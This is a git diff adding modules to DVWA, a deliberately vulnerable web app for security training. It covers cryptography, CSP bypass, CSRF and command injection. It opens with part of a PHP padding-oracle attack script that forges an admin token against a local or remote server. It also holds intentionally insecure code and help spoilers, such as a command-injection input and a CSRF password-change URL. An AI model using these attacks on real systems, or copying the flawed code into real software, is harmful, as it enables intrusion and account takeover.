$i . "\n"; + + # Only get here if the decrypt works correctly + + /* + + Check for edge case on offset 15 (right most byte). + The decrypted data could look like this: + + 0x44 ... 0x02 0x02 + ^^^^ Real last byte of value 2 byte padding + + In this situation, if we happen to land on a value + that sets the last byte to 0x02 then that will + look like valid padding as it will make the data end + in 0x02 0x02 as it already does: + + 0x44 ... 0x02 0x02 + ^^^^ Fluke, we want 0x01 for 1 byte padding + + This is what we want: + + 0x44 ... 0x02 0x01 + ^^^^ Valid 1 byte padding + + To do this, change the IV value for offset 14 which will + change the second to last byte and make the call again. + If we were in the edge case we would now have: + + 0x44 ... 0xf3 0x02 + ^^^^ No longer valid padding + + This is no longer valid padding so it will fail and we can + continue looking till we find the value that gives us + valid 1 byte padding. + + */ + + // Used by the edge case check + + $ignore = false; + if ($offset == 15) { + print "Got a valid decrypt for offset 15, checking edge case\n"; + $temp_iv = $iv; + $temp_iv[14] = 0xff; + $temp_d_obj = make_call ($token, $temp_iv, $url); + if ($temp_d_obj['status'] != 526) { + print "Not edge case, can continue\n"; + } else { + print "Edge case, do not continue\n"; + $ignore = true; + } + } + + if (!$ignore) { + print "There was a match\n"; + $zeroing[$offset] = $i ^ $padding; + # print "IV: " . byte_array_to_string ($iv) . "\n"; + # print "Zero: " . byte_array_to_string ($zeroing) . "\n"; + break; + } + } + } catch(Exception $exp) { + # print "Fail\n"; + # var_dump ($e); + } + } + } + + print "\n"; + print "Finished looping\n"; + print "\n"; + + print "Derived IV is: " . byte_array_to_string ($iv) . "\n"; + + # If you want to check this, it should be all 16 to show it is all padding + # $x = xor_byte_array ($iv, $zeroing); + # print "Derived IV XOR and zeroing string: " . byte_array_to_string ($x) . "\n"; + + print "Real IV is: " . byte_array_to_string ($init_iv) . "\n"; + print "Zeroing array is: " . byte_array_to_string ($zeroing) . "\n"; + print "\n"; + + $x = xor_byte_array ($init_iv, $zeroing); + print "Decrypted string with padding: " . byte_array_to_string ($x) . "\n"; + $number_of_padding_bytes = $x[15]; + $without_padding = array_slice ($x, 0, 16 - $number_of_padding_bytes); + print "Decrypted string without padding: " . byte_array_to_string ($without_padding) . "\n"; + + $str = ''; + for ($i = 0; $i < count ($without_padding); $i++) { + $c = $without_padding[$i]; + if ($c > 0x19 && $c < 0x7f) { + $str .= chr($c); + } else { + $str .= "0x" . sprintf ("%02x", $c) . " "; + } + } + + print "Decrypted string as text: " . $str . "\n"; + + /* + Trying to modify decrypted data by playing with the zeroing array. + */ + + print "\n"; + print "Trying to modify string\n"; + print "\n"; + + $new_clear = "userid:1"; + print "New clear text: " . $new_clear . "\n"; + + for ($i = 0; $i < strlen($new_clear); $i++) { + $zeroing[$i] = $zeroing[$i] ^ ord($new_clear[$i]); + } + $padding = 16 - strlen($new_clear); + $offset = 16 - $padding; + for ($i = $offset; $i < 16; $i++) { + $zeroing[$i] = $zeroing[$i] ^ $padding; + } + + print "New IV is: " . byte_array_to_string ($zeroing) . "\n"; + print "\n"; + + print "Sending new data to server...\n"; + print "\n"; + + try { + $ret_obj = make_call ($token, $zeroing, $url); + + print "Response from server:\n"; + var_dump ($ret_obj); + + if ($ret_obj['status'] == 200 && $ret_obj['level'] == "admin") { + print "\n"; + print "Hack success!\n\n"; + print "The new token is:\n"; + + # This maps the IV byte array down to a string + $iv_string = implode(array_map("chr", $zeroing)); + + # Now base64 encode it so it is safe to send + $iv_string_b64 = base64_encode ($iv_string); + + $new_token = array ( + "token" => $token, + "iv" => $iv_string_b64 + ); + print json_encode ($new_token); + print "\n\n"; + } else { + print "Hack failed\n"; + } + } catch (Exception $exp) { + print "Hack failed, system could not decrypt message\n"; + var_dump ($exp); + } +} + +$shortopts = ""; +$shortopts .= "h"; // Help + +$longopts = array( +"url:", // Required value +"iv:", // Required value +"token:", // Required value +"local", // No value +"help", // No value +); +$options = getopt($shortopts, $longopts); + +if (array_key_exists ("h", $options) || array_key_exists ("help", $options)) { + print "This script can either test against a local decryptor or a remote.\n +To test locally, pass --local, otherwise pass the IV, token and URL for the remote system. + +--local - Test locally +--iv - IV from remote system +--token - Token from remote system +--url - URL for the check function +-h, --help - help + +"; + exit; +} elseif (array_key_exists ("l", $options) || array_key_exists ("local", $options)) { + print "Creating the token locally\n\n"; + + $token_data = json_decode (create_token(true), true); + + $token = $token_data['token']; + $iv = $token_data['iv']; + $url = null; +} elseif (array_key_exists ("iv", $options) && + array_key_exists ("token", $options) && + array_key_exists ("url", $options)) { + print "Attacking remote server using parameters provided\n\n"; + + $token = $options['token']; + $iv = $options['iv']; + $url = $options['url']; +} else { + print "Either specify --local or provide the IV, token and URL\n\n"; + exit; +} + +do_attack ($iv, $token, $url); diff --git a/DVWA/vulnerabilities/cryptography/source/token_library_high.php b/DVWA/vulnerabilities/cryptography/source/token_library_high.php new file mode 100644 index 00000000..29c93559 --- /dev/null +++ b/DVWA/vulnerabilities/cryptography/source/token_library_high.php @@ -0,0 +1,132 @@ + base64_encode ($e), + "iv" => base64_encode (IV) + ); + return json_encode($data); +} + +function check_token ($data) { + $users = array (); + $users[1] = array ("name" => "Geoffery", "level" => "admin"); + $users[2] = array ("name" => "Bungle", "level" => "user"); + $users[3] = array ("name" => "Zippy", "level" => "user"); + $users[4] = array ("name" => "George", "level" => "user"); + + $data_array = false; + try { + $data_array = json_decode ($data, true); + } catch (TypeError $exp) { + $ret = array ( + "status" => 521, + "message" => "Data not in JSON format", + "extra" => $exp->getMessage() + ); + } + + if (is_null ($data_array)) { + $ret = array ( + "status" => 522, + "message" => "Data in wrong format" + ); + } else { + if (!array_key_exists ("token", $data_array)) { + $ret = array ( + "status" => 523, + "message" => "Missing token" + ); + return json_encode ($ret); + } + if (!array_key_exists ("iv", $data_array)) { + $ret = array ( + "status" => 524, + "message" => "Missing IV" + ); + return json_encode ($ret); + } + + $ciphertext = base64_decode ($data_array['token']); + $iv = base64_decode ($data_array['iv']); + + # Asssume failure + $ret = array ( + "status" => 500, + "message" => "Unknown error" + ); + try { + $d = decrypt ($ciphertext, $iv); + if (preg_match ("/^userid:(\d+)$/", $d, $matches)) { + $id = $matches[1]; + if (array_key_exists ($id, $users)) { + $user = $users[$id]; + $ret = array ( + "status" => 200, + "user" => $user["name"], + "level" => $user['level'] + ); + } else { + $ret = array ( + "status" => 525, + "message" => "User not found" + ); + } + } else { + $ret = array ( + "status" => 527, + "message" => "No user specified" + ); + } + } catch (Exception $exp) { + $ret = array ( + "status" => 526, + "message" => "Unable to decrypt token", + "extra" => $exp->getMessage() + ); + } + } + return json_encode ($ret); +} diff --git a/DVWA/vulnerabilities/cryptography/source/token_library_impossible.php b/DVWA/vulnerabilities/cryptography/source/token_library_impossible.php new file mode 100644 index 00000000..4f31a6a0 --- /dev/null +++ b/DVWA/vulnerabilities/cryptography/source/token_library_impossible.php @@ -0,0 +1,130 @@ + base64_encode ($e), + "iv" => base64_encode ($iv), + ); + return json_encode($data); +} + +function check_token ($data) { + $users = array (); + $users[1] = array ("name" => "Geoffery", "level" => "admin"); + $users[2] = array ("name" => "Bungle", "level" => "user"); + $users[3] = array ("name" => "Zippy", "level" => "user"); + $users[4] = array ("name" => "George", "level" => "user"); + + $data_array = false; + try { + $data_array = json_decode ($data, true); + } catch (TypeError $exp) { + $ret = array ( + "status" => 521, + "message" => "Data not in JSON format", + "extra" => $exp->getMessage() + ); + } + + if (is_null ($data_array)) { + $ret = array ( + "status" => 522, + "message" => "Data in wrong format" + ); + } else { + if (!array_key_exists ("token", $data_array)) { + $ret = array ( + "status" => 523, + "message" => "Missing token" + ); + return json_encode ($ret); + } + if (!array_key_exists ("iv", $data_array)) { + $ret = array ( + "status" => 524, + "message" => "Missing IV" + ); + return json_encode ($ret); + } + + $ciphertext = base64_decode ($data_array['token']); + $iv = base64_decode ($data_array['iv']); + + # Asssume failure + $ret = array ( + "status" => 500, + "message" => "Unknown error" + ); + try { + $d = decrypt ($ciphertext, $iv); + if (preg_match ("/^userid:(\d+)$/", $d, $matches)) { + $id = $matches[1]; + if (array_key_exists ($id, $users)) { + $user = $users[$id]; + $ret = array ( + "status" => 200, + "user" => $user["name"], + "level" => $user['level'] + ); + } else { + $ret = array ( + "status" => 525, + "message" => "User not found" + ); + } + } else { + $ret = array ( + "status" => 527, + "message" => "No user specified" + ); + } + } catch (Exception $exp) { + $ret = array ( + "status" => 526, + "message" => "Unable to decrypt token", + "extra" => $exp->getMessage() + ); + } + } + return json_encode ($ret); +} diff --git a/DVWA/vulnerabilities/cryptography/source/xor_theory.php b/DVWA/vulnerabilities/cryptography/source/xor_theory.php new file mode 100644 index 00000000..ad04c2ad --- /dev/null +++ b/DVWA/vulnerabilities/cryptography/source/xor_theory.php @@ -0,0 +1,36 @@ +'; // For debugging + } + } + return $outText; +} + +$clear = "hello world, what a great day"; +$key = "wachtwoord"; + +print "Clear text\n" . $clear . "\n"; +print "\n"; + +$encoded = (xor_this($clear, $key)); +$b64_encoded = base64_encode ($encoded); +print "Encoded text\n"; +var_dump ($b64_encoded); +print "\n"; + +$b64_decoded = base64_decode ($b64_encoded); +$decoded = xor_this($b64_decoded, $key); +print "Decoded text\n"; +var_dump ($decoded); +print "\n"; + +?> diff --git a/DVWA/vulnerabilities/csp/help/help.php b/DVWA/vulnerabilities/csp/help/help.php new file mode 100644 index 00000000..b6342196 --- /dev/null +++ b/DVWA/vulnerabilities/csp/help/help.php @@ -0,0 +1,58 @@ +
    +

    Help - Content Security Policy (CSP) Bypass

    + +
    + + + + +
    +

    About

    +

    Content Security Policy (CSP) is used to define where scripts and other resources can be loaded or executed from. This module will walk you through ways to bypass the policy based on common mistakes made by developers.

    +

    None of the vulnerabilities are actual vulnerabilities in CSP, they are vulnerabilities in the way it has been implemented.

    + +


    + +

    Objective

    +

    Bypass Content Security Policy (CSP) and execute JavaScript in the page.

    + +


    + +

    Low Level

    +

    Examine the policy to find all the sources that can be used to host external script files.

    +

    This exercise was originally written to work with Pastebin, then updated for Hastebin, then Toptal, but all these stopped working as they set various headers that prevent the browser executing the JavaScript once it has downloaded it. To get around this, there are a selection of links included in the exercise, some will work, some will not, try to work out why. +

    Spoiler: 
    +alert.js - Will work, this is a normal JavaScript file served with the correct headers.
    +alert.txt - This will not work as it has the wrong content type set by the web server due to its file extension.
    +cookie.js - This will work and will show your cookies
    +forced_download.js - As the name says, the server sets the "Content-Disposition: attachment" header for this to force the browser to download it rather than execute it.
    +wrong_content_type.js - This will not work as the web server ignores the file extension and forces the content type to get set as "plain/text" which prevents the browser executing it.
    + +
    + +

    Medium Level

    +

    The CSP policy tries to use a nonce to prevent inline scripts from being added by attackers.

    +
    Spoiler: Examine the nonce and see how it varies (or doesn't).
    + +
    + +

    High Level

    +

    The page makes a JSONP call to source/jsonp.php passing the name of the function to callback to, you need to modify the jsonp.php script to change the callback function.

    +
    Spoiler: The JavaScript on the page will execute whatever is returned by the page, changing this to your own code will execute that instead
    + +
    + +

    Impossible Level

    +

    + This level is an update of the high level where the JSONP call has its callback function hardcoded and the CSP policy is locked down to only allow external scripts. +

    +
    + +
    + +
    + +

    Reference:

    +

    Reference:

    +

    Reference:

    +
    diff --git a/DVWA/vulnerabilities/csp/index.php b/DVWA/vulnerabilities/csp/index.php new file mode 100644 index 00000000..bd99db15 --- /dev/null +++ b/DVWA/vulnerabilities/csp/index.php @@ -0,0 +1,57 @@ + +

    Vulnerability: Content Security Policy (CSP) Bypass

    + +
    +EOF; + +require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/csp/source/{$vulnerabilityFile}"; + +$page[ 'body' ] .= << +EOF; + +$page[ 'body' ] .= " +

    More Information

    +
      +
    • " . dvwaExternalLinkUrlGet( 'https://content-security-policy.com/', "Content Security Policy Reference" ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP', "Mozilla Developer Network - CSP: script-src") . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://blog.mozilla.org/security/2014/10/04/csp-for-the-web-we-have/', "Mozilla Security Blog - CSP for the web we have" ) . "
    • +
    +

    Module developed by Digininja.

    +
    \n"; + +dvwaHtmlEcho( $page ); + +?> diff --git a/DVWA/vulnerabilities/csp/source/high.js b/DVWA/vulnerabilities/csp/source/high.js new file mode 100644 index 00000000..a4b10cfd --- /dev/null +++ b/DVWA/vulnerabilities/csp/source/high.js @@ -0,0 +1,19 @@ +function clickButton() { + var s = document.createElement("script"); + s.src = "source/jsonp.php?callback=solveSum"; + document.body.appendChild(s); +} + +function solveSum(obj) { + if ("answer" in obj) { + document.getElementById("answer").innerHTML = obj['answer']; + } +} + +var solve_button = document.getElementById ("solve"); + +if (solve_button) { + solve_button.addEventListener("click", function() { + clickButton(); + }); +} diff --git a/DVWA/vulnerabilities/csp/source/high.php b/DVWA/vulnerabilities/csp/source/high.php new file mode 100644 index 00000000..18e1bf0f --- /dev/null +++ b/DVWA/vulnerabilities/csp/source/high.php @@ -0,0 +1,22 @@ + + +

    The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.

    +

    1+2+3+4+5=

    + + + + +'; + diff --git a/DVWA/vulnerabilities/csp/source/impossible.js b/DVWA/vulnerabilities/csp/source/impossible.js new file mode 100644 index 00000000..11b56aa5 --- /dev/null +++ b/DVWA/vulnerabilities/csp/source/impossible.js @@ -0,0 +1,19 @@ +function clickButton() { + var s = document.createElement("script"); + s.src = "source/jsonp_impossible.php"; + document.body.appendChild(s); +} + +function solveSum(obj) { + if ("answer" in obj) { + document.getElementById("answer").innerHTML = obj['answer']; + } +} + +var solve_button = document.getElementById ("solve"); + +if (solve_button) { + solve_button.addEventListener("click", function() { + clickButton(); + }); +} diff --git a/DVWA/vulnerabilities/csp/source/impossible.php b/DVWA/vulnerabilities/csp/source/impossible.php new file mode 100644 index 00000000..320fd2f1 --- /dev/null +++ b/DVWA/vulnerabilities/csp/source/impossible.php @@ -0,0 +1,23 @@ + + +

    Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.

    The CSP settings only allow external JavaScript on the local server and no inline code.

    +

    1+2+3+4+5=

    + + + + +'; + diff --git a/DVWA/vulnerabilities/csp/source/jsonp.php b/DVWA/vulnerabilities/csp/source/jsonp.php new file mode 100644 index 00000000..fcfc5352 --- /dev/null +++ b/DVWA/vulnerabilities/csp/source/jsonp.php @@ -0,0 +1,13 @@ + "15"); + +echo $callback . "(".json_encode($outp).")"; +?> diff --git a/DVWA/vulnerabilities/csp/source/jsonp_impossible.php b/DVWA/vulnerabilities/csp/source/jsonp_impossible.php new file mode 100644 index 00000000..090a38b8 --- /dev/null +++ b/DVWA/vulnerabilities/csp/source/jsonp_impossible.php @@ -0,0 +1,7 @@ + "15"); + +echo "solveSum (".json_encode($outp).")"; +?> diff --git a/DVWA/vulnerabilities/csp/source/low.php b/DVWA/vulnerabilities/csp/source/low.php new file mode 100644 index 00000000..73fbc047 --- /dev/null +++ b/DVWA/vulnerabilities/csp/source/low.php @@ -0,0 +1,37 @@ + + +"; +} +$page[ 'body' ] .= ' +
    +

    You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:

    + + +
    +

    + As Pastebin and Hastebin have stopped working, here are some scripts that may, or may not help. +

    +
      +
    • https://digi.ninja/dvwa/alert.js
    • +
    • https://digi.ninja/dvwa/alert.txt
    • +
    • https://digi.ninja/dvwa/cookie.js
    • +
    • https://digi.ninja/dvwa/forced_download.js
    • +
    • https://digi.ninja/dvwa/wrong_content_type.js
    • +
    +

    + Pretend these are on a server like Pastebin and try to work out why some work and some do not work. Check the help for an explanation if you get stuck. +

    +'; diff --git a/DVWA/vulnerabilities/csp/source/medium.php b/DVWA/vulnerabilities/csp/source/medium.php new file mode 100644 index 00000000..0fd03209 --- /dev/null +++ b/DVWA/vulnerabilities/csp/source/medium.php @@ -0,0 +1,25 @@ +alert(1) + +?> + +

    Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.

    + + + +'; diff --git a/DVWA/vulnerabilities/csrf/help/help.php b/DVWA/vulnerabilities/csrf/help/help.php new file mode 100644 index 00000000..1c3d8b70 --- /dev/null +++ b/DVWA/vulnerabilities/csrf/help/help.php @@ -0,0 +1,71 @@ +
    +

    Help - Cross Site Request Forgery (CSRF)

    + +
    + + + + +
    +

    About

    +

    CSRF is an attack that forces an end user to execute unwanted actions on a web application in which they are currently authenticated. + With a little help of social engineering (such as sending a link via email/chat), an attacker may force the users of a web application to execute actions of + the attacker's choosing.

    + +

    A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is + the administrator account, this can compromise the entire web application.

    + +

    This attack may also be called "XSRF", similar to "Cross Site scripting (XSS)", and they are often used together.

    + +


    + +

    Objective

    +

    Your task is to make the current user change their own password, without them knowing about their actions, using a CSRF attack.

    + +


    + +

    Low Level

    +

    There are no measures in place to protect against this attack. This means a link can be crafted to achieve a certain action (in this case, change the current users password). + Then with some basic social engineering, have the target click the link (or just visit a certain page), to trigger the action.

    +
    Spoiler: ?password_new=password&password_conf=password&Change=Change.
    + +
    + +

    Medium Level

    +

    For the medium level challenge, there is a check to see where the last requested page came from. The developer believes if it matches the current domain, + it must of come from the web application so it can be trusted.

    +

    It may be required to link in multiple vulnerabilities to exploit this vector, such as reflective XSS.

    + +
    + +

    High Level

    +

    In the high level, the developer has added an "anti Cross-Site Request Forgery (CSRF) token". In order by bypass this protection method, another vulnerability will be required.

    +
    Spoiler: e.g. Javascript is a executed on the client side, in the browser.
    + +

    Bonus Challenge

    +

    At this level, the site will also accept a change password request as a JSON object in the following format:

    +
    {"password_new":"a","password_conf":"a","Change":1}
    +

    When done this way, the CSRF token must be passed as a header named user-token.

    + +

    Here is a sample request:

    +
    POST /vulnerabilities/csrf/ HTTP/1.1
    +Host: dvwa.test
    +Content-Length: 51
    +Content-Type: application/json
    +Cookie: PHPSESSID=0hr9ikmo07thlcvjv3u3pkfeni; security=high
    +user-token: 026d0caed93471b507ed460ebddbd096
    +
    +{"password_new":"a","password_conf":"a","Change":1}
    + +
    + +

    Impossible Level

    +

    At this level, the site requires the user to give their current password as well as the new password. As the attacker does not know this, the site is protected against CSRF style attacks.

    +
    + +
    + +
    + +

    Reference:

    +
    diff --git a/DVWA/vulnerabilities/csrf/index.php b/DVWA/vulnerabilities/csrf/index.php new file mode 100644 index 00000000..cef64c3d --- /dev/null +++ b/DVWA/vulnerabilities/csrf/index.php @@ -0,0 +1,96 @@ +Test Credentials

    + +"; + +$page[ 'body' ] .= " +
    +

    Vulnerability: Cross Site Request Forgery (CSRF)

    + +
    +

    Change your admin password:

    +
    +
    + ".$testCredentials ." +

    +
    "; + +if( $vulnerabilityFile == 'impossible.php' ) { + $page[ 'body' ] .= " + Current password:
    +
    "; +} + +$page[ 'body' ] .= " + New password:
    +
    + Confirm new password:
    +
    +
    + \n"; + +if( $vulnerabilityFile == 'high.php' || $vulnerabilityFile == 'impossible.php' ) + $page[ 'body' ] .= " " . tokenField(); + +$page[ 'body' ] .= " +
    + {$html} +
    +

    Note: Browsers are starting to default to setting the SameSite cookie flag to Lax, and in doing so are killing off some types of CSRF attacks. When they have completed their mission, this lab will not work as originally expected.

    +

    Announcements:

    + +

    As an alternative to the normal attack of hosting the malicious URLs or code on a separate host, you could try using other vulnerabilities in this app to store them, the Stored XSS lab would be a good place to start.

    + +

    More Information

    +
      +
    • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/attacks/csrf' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://www.cgisecurity.com/csrf-faq.html' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Cross-site_request_forgery ' ) . "
    • +
    +
    \n"; + +dvwaHtmlEcho( $page ); + +?> diff --git a/DVWA/vulnerabilities/csrf/source/high.php b/DVWA/vulnerabilities/csrf/source/high.php new file mode 100644 index 00000000..a0c79138 --- /dev/null +++ b/DVWA/vulnerabilities/csrf/source/high.php @@ -0,0 +1,69 @@ +$return_message)); + exit; + } else { + $html .= "
    " . $return_message . "
    "; + } +} + +// Generate Anti-CSRF token +generateSessionToken(); + +?> diff --git a/DVWA/vulnerabilities/csrf/source/impossible.php b/DVWA/vulnerabilities/csrf/source/impossible.php new file mode 100644 index 00000000..7baad861 --- /dev/null +++ b/DVWA/vulnerabilities/csrf/source/impossible.php @@ -0,0 +1,50 @@ +prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); + $current_user = dvwaCurrentUser(); + $data->bindParam( ':user', $current_user, PDO::PARAM_STR ); + $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); + $data->execute(); + + // Do both new passwords match and does the current password match the user? + if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { + // It does! + $pass_new = stripslashes( $pass_new ); + $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); + $pass_new = md5( $pass_new ); + + // Update database with new password + $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); + $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); + $current_user = dvwaCurrentUser(); + $data->bindParam( ':user', $current_user, PDO::PARAM_STR ); + $data->execute(); + + // Feedback for the user + $html .= "
    Password Changed.
    "; + } + else { + // Issue with passwords matching + $html .= "
    Passwords did not match or current password incorrect.
    "; + } +} + +// Generate Anti-CSRF token +generateSessionToken(); + +?> diff --git a/DVWA/vulnerabilities/csrf/source/low.php b/DVWA/vulnerabilities/csrf/source/low.php new file mode 100644 index 00000000..2f41a4e1 --- /dev/null +++ b/DVWA/vulnerabilities/csrf/source/low.php @@ -0,0 +1,30 @@ +' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); + + // Feedback for the user + $html .= "
    Password Changed.
    "; + } + else { + // Issue with passwords matching + $html .= "
    Passwords did not match.
    "; + } + + ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); +} + +?> diff --git a/DVWA/vulnerabilities/csrf/source/medium.php b/DVWA/vulnerabilities/csrf/source/medium.php new file mode 100644 index 00000000..65089d4a --- /dev/null +++ b/DVWA/vulnerabilities/csrf/source/medium.php @@ -0,0 +1,37 @@ +' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); + + // Feedback for the user + $html .= "
    Password Changed.
    "; + } + else { + // Issue with passwords matching + $html .= "
    Passwords did not match.
    "; + } + } + else { + // Didn't come from a trusted source + $html .= "
    That request didn't look correct.
    "; + } + + ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); +} + +?> diff --git a/DVWA/vulnerabilities/csrf/test_credentials.php b/DVWA/vulnerabilities/csrf/test_credentials.php new file mode 100644 index 00000000..e7274a79 --- /dev/null +++ b/DVWA/vulnerabilities/csrf/test_credentials.php @@ -0,0 +1,54 @@ +'. mysqli_connect_error() . '.
    Try installing again.' ); + if( $result && mysqli_num_rows( $result ) == 1 ) { // Login Successful... + $login_state = "

    Valid password for '{$user}'

    "; + }else{ + // Login failed + $login_state = "

    Wrong password for '{$user}'

    "; + } + +} +$messagesHtml = messagesPopAllToHtml(); +$page = dvwaPageNewGrab(); + +$page[ 'title' ] .= "Test Credentials"; +$page[ 'body' ] .= " +
    +

    Test Credentials

    +

    Vulnerabilities/CSRF

    +
    +
    +
    + " . $login_state . " +

    +

    +

    +
    +
    + {$messagesHtml} +
    +
    \n"; + +dvwaSourceHtmlEcho( $page ); + +?> diff --git a/DVWA/vulnerabilities/exec/help/help.php b/DVWA/vulnerabilities/exec/help/help.php new file mode 100644 index 00000000..d28c7ef0 --- /dev/null +++ b/DVWA/vulnerabilities/exec/help/help.php @@ -0,0 +1,62 @@ +
    +

    Help - Command Injection

    + +
    + + + + +
    +

    About

    +

    The purpose of the command injection attack is to inject and execute commands specified by the attacker in the vulnerable application. + In situation like this, the application, which executes unwanted system commands, is like a pseudo system shell, and the attacker may use it + as any authorized system user. However, commands are executed with the same privileges and environment as the web service has.

    + +

    Command injection attacks are possible in most cases because of lack of correct input data validation, which can be manipulated by the attacker + (forms, cookies, HTTP headers etc.).

    + +

    The syntax and commands may differ between the Operating Systems (OS), such as Linux and Windows, depending on their desired actions.

    + +

    This attack may also be called "Remote Command Execution (RCE)".

    + +


    + +

    Objective

    +

    Remotely, find out the user of the web service on the OS, as well as the machines hostname via RCE.

    + +


    + +

    Low Level

    +

    This allows for direct input into one of many PHP functions that will execute commands on the OS. It is possible to escape out of the designed command and + executed unintentional actions.

    +

    This can be done by adding on to the request, "once the command has executed successfully, run this command". +

    Spoiler: To add a command "&&". Example: 127.0.0.1 && dir.
    + +
    + +

    Medium Level

    +

    The developer has read up on some of the issues with command injection, and placed in various pattern patching to filter the input. However, this isn't enough.

    +

    Various other system syntaxes can be used to break out of the desired command.

    +
    Spoiler: e.g. background the ping command.
    + +
    + +

    High Level

    +

    In the high level, the developer goes back to the drawing board and puts in even more pattern to match. But even this isn't enough.

    +

    The developer has either made a slight typo with the filters and believes a certain PHP command will save them from this mistake.

    +
    Spoiler: 
    +			removes all leading & trailing spaces, right?.
    + +
    + +

    Impossible Level

    +

    In the impossible level, the challenge has been re-written, only to allow a very stricted input. If this doesn't match and doesn't produce a certain result, + it will not be allowed to execute. Rather than "black listing" filtering (allowing any input and removing unwanted), this uses "white listing" (only allow certain values).

    +
    + +
    + +
    + +

    Reference:

    +
    diff --git a/DVWA/vulnerabilities/exec/index.php b/DVWA/vulnerabilities/exec/index.php new file mode 100644 index 00000000..6a0de9ed --- /dev/null +++ b/DVWA/vulnerabilities/exec/index.php @@ -0,0 +1,67 @@ + +

    Vulnerability: Command Injection

    + +
    +

    Ping a device

    + +
    +

    + Enter an IP address: + + +

    \n"; + +if( $vulnerabilityFile == 'impossible.php' ) + $page[ 'body' ] .= " " . tokenField(); + +$page[ 'body' ] .= " +
    + {$html} +
    + +

    More Information

    +
      +
    • " . dvwaExternalLinkUrlGet( 'https://www.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'http://www.ss64.com/bash/' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'http://www.ss64.com/nt/' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/attacks/Command_Injection' ) . "
    • +
    +\n"; + +dvwaHtmlEcho( $page ); + +?> diff --git a/DVWA/vulnerabilities/exec/source/high.php b/DVWA/vulnerabilities/exec/source/high.php new file mode 100644 index 00000000..54c11369 --- /dev/null +++ b/DVWA/vulnerabilities/exec/source/high.php @@ -0,0 +1,37 @@ + '', + '&' => '', + ';' => '', + '| ' => '', + '-' => '', + '$' => '', + '(' => '', + ')' => '', + '`' => '', + ); + + // Remove any of the characters in the array (blacklist). + $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); + + // Determine OS and execute the ping command. + if( stristr( php_uname( 's' ), 'Windows NT' ) ) { + // Windows + $cmd = shell_exec( 'ping ' . $target ); + } + else { + // *nix + $cmd = shell_exec( 'ping -c 4 ' . $target ); + } + + // Feedback for the end user + $html .= "
    {$cmd}
    "; +} + +?> diff --git a/DVWA/vulnerabilities/exec/source/impossible.php b/DVWA/vulnerabilities/exec/source/impossible.php new file mode 100644 index 00000000..aa495516 --- /dev/null +++ b/DVWA/vulnerabilities/exec/source/impossible.php @@ -0,0 +1,41 @@ +{$cmd}"; + } + else { + // Ops. Let the user name theres a mistake + $html .= '
    ERROR: You have entered an invalid IP.
    '; + } +} + +// Generate Anti-CSRF token +generateSessionToken(); + +?> diff --git a/DVWA/vulnerabilities/exec/source/low.php b/DVWA/vulnerabilities/exec/source/low.php new file mode 100644 index 00000000..e4a7f596 --- /dev/null +++ b/DVWA/vulnerabilities/exec/source/low.php @@ -0,0 +1,21 @@ +{$cmd}"; +} + +?> diff --git a/DVWA/vulnerabilities/exec/source/medium.php b/DVWA/vulnerabilities/exec/source/medium.php new file mode 100644 index 00000000..c7c1564b --- /dev/null +++ b/DVWA/vulnerabilities/exec/source/medium.php @@ -0,0 +1,30 @@ + '', + ';' => '', + ); + + // Remove any of the characters in the array (blacklist). + $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); + + // Determine OS and execute the ping command. + if( stristr( php_uname( 's' ), 'Windows NT' ) ) { + // Windows + $cmd = shell_exec( 'ping ' . $target ); + } + else { + // *nix + $cmd = shell_exec( 'ping -c 4 ' . $target ); + } + + // Feedback for the end user + $html .= "
    {$cmd}
    "; +} + +?> diff --git a/DVWA/vulnerabilities/fi/file1.php b/DVWA/vulnerabilities/fi/file1.php new file mode 100644 index 00000000..04606976 --- /dev/null +++ b/DVWA/vulnerabilities/fi/file1.php @@ -0,0 +1,22 @@ + +

    Vulnerability: File Inclusion

    +
    +

    File 1

    +
    + Hello " . dvwaCurrentUser() . "
    + Your IP address is: {$_SERVER[ 'REMOTE_ADDR' ]}

    + [back] +
    + +

    More Information

    +
      +
    • " . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Remote_File_Inclusion', 'Wikipedia - File inclusion vulnerability' ) . "
    • +
